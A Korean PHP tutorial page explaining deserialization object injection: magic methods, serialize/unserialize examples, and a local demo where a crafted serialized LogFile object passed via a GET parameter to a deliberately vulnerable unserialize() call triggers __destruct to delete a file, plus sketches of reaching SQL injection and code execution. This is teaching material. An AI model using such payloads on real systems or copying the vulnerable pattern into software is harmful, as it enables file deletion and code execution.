>백엔드 개발 >PHP 튜토리얼 >역직렬화 객체 주입 취약점에 대한 PHP

역직렬화 객체 주입 취약점에 대한 PHP

小云云
小云云원래의
2018-03-10 13:16:332760검색


PHP 개체 주입은 매우 일반적인 취약점입니다. 이러한 유형의 취약점은 악용하기가 다소 어렵지만 여전히 매우 위험합니다. 이 기사는 주로 PHP의 역직렬화 객체 주입 취약점에 대한 자세한 설명을 공유합니다. 이것이 도움이 되기를 바랍니다.

Analytics

php 기본

serialize는 객체를 저장하는 데 사용할 수 있는 문자열 형식으로 변환합니다.
unserialize는 직렬화된 문자열을 객체로 변환합니다.

PHP 클래스에는 매직 함수, 매직 함수 이름이라는 특수 함수가 포함될 수 있습니다. __construct, __destruct, __toString, __sleep, __wakeup 등과 같은 __ 기호로 시작합니다.

이러한 함수는 객체가 생성될 때

__construct가 호출되고 객체가 삭제될 때
__destruct가 호출되고 객체가 문자열로 사용될 때
__toString이 호출되는 등 특정 상황에서 자동으로 호출됩니다.

Example

예:

    <?php    

    class TestClass    
    {    
        public $variable = &#39;This is a string&#39;;    

        public function PrintVariable()    
        {    
            echo $this->variable . &#39;<br />&#39;;    
        }     

        public function __construct()    
        {    
            echo &#39;__construct <br />&#39;;    
        }      

        public function __destruct()    
        {    
            echo &#39;__destruct <br />&#39;;    
        }    

        public function __toString()    
        {    
            return &#39;__toString<br />&#39;;    
        }    
    }    

    $object = new TestClass();        
    $object->PrintVariable();    
    echo $object;      

    ?>

역직렬화 객체 주입 취약점에 대한 PHP

php를 사용하면 나중에 재사용할 수 있도록 개체를 저장할 수 있으며 이 프로세스를 직렬화라고 합니다.

직렬화 메커니즘이 있는 이유는 무엇인가요?

변수를 전달하는 과정에서 스크립트 파일 간에 변수 값을 전달하는 과정을 접할 수 있습니다. 상상해 보십시오. 스크립트에서 이전 스크립트의 변수를 호출하려고 하는데 이전 스크립트가 실행되고 모든 변수와 내용이 해제된 경우 어떻게 해야 합니까? 계속해서 반복하고 기다리려면 이전 스크립트가 필요합니까? 다음은? 스크립트 호출인가요? 이것은 확실히 비현실적입니다.

직렬화 및 역직렬화는 이 문제를 해결하는 데 사용됩니다. 직렬화는 변수를 문자열로 변환하고 변환 중에 현재 변수의 값을 저장할 수 있습니다. 직렬화 해제는 직렬화로 생성된 문자열을 다시 변수로 변환할 수 있습니다. 이는 크로스 스크립트 전송 및 실행을 완벽하게 해결합니다.

마법 함수 __construct 및 __destruct는 객체가 생성되거나 소멸될 때 자동으로 호출됩니다.

__sleep 매직 메서드는 객체가 직렬화될 때 호출됩니다.
__wakeup 매직 메서드는 객체가 역직렬화될 때 호출됩니다.

<?phpclass User    {    
    public $age = 0;    
    public $name = &#39;&#39;;  
    public function Printx()
    {
      echo $this->name.&#39; is &#39;.$this->age.&#39; years old.<br/>&#39;;
    }    public function __construct()    
    {    
        echo &#39;__construct<br />&#39;;    
    }    

    public function __destruct()    
    {    
        echo &#39;__destruct<br />&#39;;    
    }    

    public function __wakeup()    
    {    
        echo &#39;__wakeup<br />&#39;;    
    }    

    public function __sleep()    
    {    
        echo &#39;__sleep<br />&#39;;    

        return array(&#39;name&#39;, &#39;age&#39;);    
    }    
}$usr = new User(); 
$usr->age = 20;    
$usr->name = &#39;John&#39;;    
$usr->Printx();    
echo serialize($usr);echo &#39;<br/>&#39;;   

$str = &#39;O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}&#39;;  
$user2 = unserialize($str);$user2->Printx();?>

역직렬화 객체 주입 취약점에 대한 PHP

이제 직렬화가 어떻게 작동하는지 이해했습니다. 그런데 이를 어떻게 활용할까요?

애플리케이션, 사용 가능한 클래스 및 마법 기능에 따라 여러 가지 가능한 방법이 있습니다.

직렬화된 개체에는 공격자가 제어하는 ​​개체 값이 포함되어 있다는 점을 기억하세요.

웹 애플리케이션 소스 코드에서 __wakeup 또는 __destruct를 정의하는 클래스를 찾을 수 있습니다. 이러한 함수는 웹 애플리케이션에 영향을 미칩니다.

예를 들어 로그를 파일에 임시로 저장하는 클래스를 찾을 수 있습니다. 삭제되면 객체에 더 이상 로그 파일이 필요하지 않아 삭제할 수 있습니다. 다음 코드를 log.php로 저장합니다.

<?php     //log.php     class LogFile    {    
    // log文件名    

    public $filename = &#39;error.log&#39;;    

    // 储存日志文件    

    public function LogData($text)    
    {    
        echo &#39;Log some data: &#39; . $text . &#39;<br />&#39;;    
        file_put_contents($this->filename, $text, FILE_APPEND);    
    }    

    // 删除日志文件    

    public function __destruct()    
    {    
        echo &#39;__destruct deletes "&#39; . $this->filename . &#39;" file. <br />&#39;;    
        unlink(dirname(__FILE__) . &#39;/&#39; . $this->filename);    
    }    
}    

?>

test.php 이것이 사용자를 위한 PHP라고 가정합니다.

    <?php    
    //test.php     
    include &#39;logfile.php&#39;;    

    // ... 一些使用LogFile类的代码...    

    // 简单的类定义    

    class User    
    {    
        // 类数据    

        public $age = 0;    
        public $name = &#39;&#39;;    

        // 输出数据    

        public function PrintData()    
        {    
            echo &#39;User &#39; . $this->name . &#39; is &#39; . $this->age . &#39; years old. <br />&#39;;    
        }    
    }    

    // 重建用户输入的数据    

    $usr = unserialize($_GET[&#39;usr_serialized&#39;]);    

    ?>

123.php

<?php    
    //123.php  
    include &#39;logfile.php&#39;;    

    $obj = new LogFile();    
    $obj->filename = &#39;1.php&#39;;    

    echo serialize($obj) . &#39;<br />&#39;;    

    ?>

1.php로 시작:


역직렬화 객체 주입 취약점에 대한 PHP

이제 사용자는 직렬화된 문자열을 전달하고 test.php는 이를 역직렬화합니다.

http://127.0.0.1/ test.php? usr_serialized=

O:7:%22LogFile%22:1:{s:8:%22filename%22;s:5:%221.php%22;}


결과는 릴리스 프로세스 중에 구문 분석됩니다. 객체에 대해 log.php의 __destruct() 함수가 호출되어 1.php 파일이 삭제되었습니다.

역직렬화 객체 주입 취약점에 대한 PHP

역직렬화 객체 주입 취약점에 대한 PHP

사용 요약

변수를 제어할 수 있고 직렬화되지 않은 작업이 수행되어 코드 실행이나 기타 사기적인 동작을 수행하는 직렬화된 개체를 삽입합니다.

__wakeup 및 __destruct는 제쳐두고 이러한 유형의 취약점을 악용할 수 있는 몇 가지 매우 일반적인 주입 지점이 있으며 모든 것은 프로그램 논리에 따라 다릅니다.

예를 들어 사용자 클래스는 애플리케이션이 클래스를 문자열(echo $obj)로 출력할 수 있도록 __toString을 정의하고, 다른 클래스도 __toString이 특정 파일을 읽을 수 있도록 클래스를 정의할 수 있습니다.


다른 마법 함수도 사용할 수 있습니다.
객체가 존재하지 않는 함수를 호출하면 __call이 호출됩니다.
객체가 존재하지 않는 클래스 변수에 액세스하려고 하면 __get 및 __set이 호출됩니다.

그러나 이 취약점의 사용은 마법 기능에만 국한되지 않고 일반 기능에도 동일한 아이디어를 적용할 수 있습니다.

예를 들어, User 클래스는 일부 사용자 데이터를 찾아서 인쇄하기 위해 get 메서드를 정의할 수 있지만, 다른 클래스는 데이터베이스에서 데이터를 얻기 위해 get 메서드를 정의할 수 있으며, 이로 인해 SQL 주입 취약점이 발생할 수 있습니다.

set 또는 write 메소드는 원격 코드 실행을 얻는 데 사용할 수 있는 임의의 파일에 데이터를 씁니다.

유일한 기술적인 문제는 주입 지점에서 사용할 수 있는 클래스이지만 일부 프레임워크나 스크립트에는 자동 로딩 기능이 있습니다. 가장 큰 문제는 사람입니다. 코드를 읽고 이해하는 데 많은 시간이 걸릴 수 있으므로 이러한 유형의 취약점을 악용할 수 있는 애플리케이션을 이해하는 것입니다.

관련 추천:

PHP 직렬화 및 역직렬화 원칙에 대한 자세한 설명

직렬화 및 역직렬화에 대한 자세한 소개

json 직렬화 및 역직렬화 함수의 JavaScript 구현 예

위 내용은 역직렬화 객체 주입 취약점에 대한 PHP의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.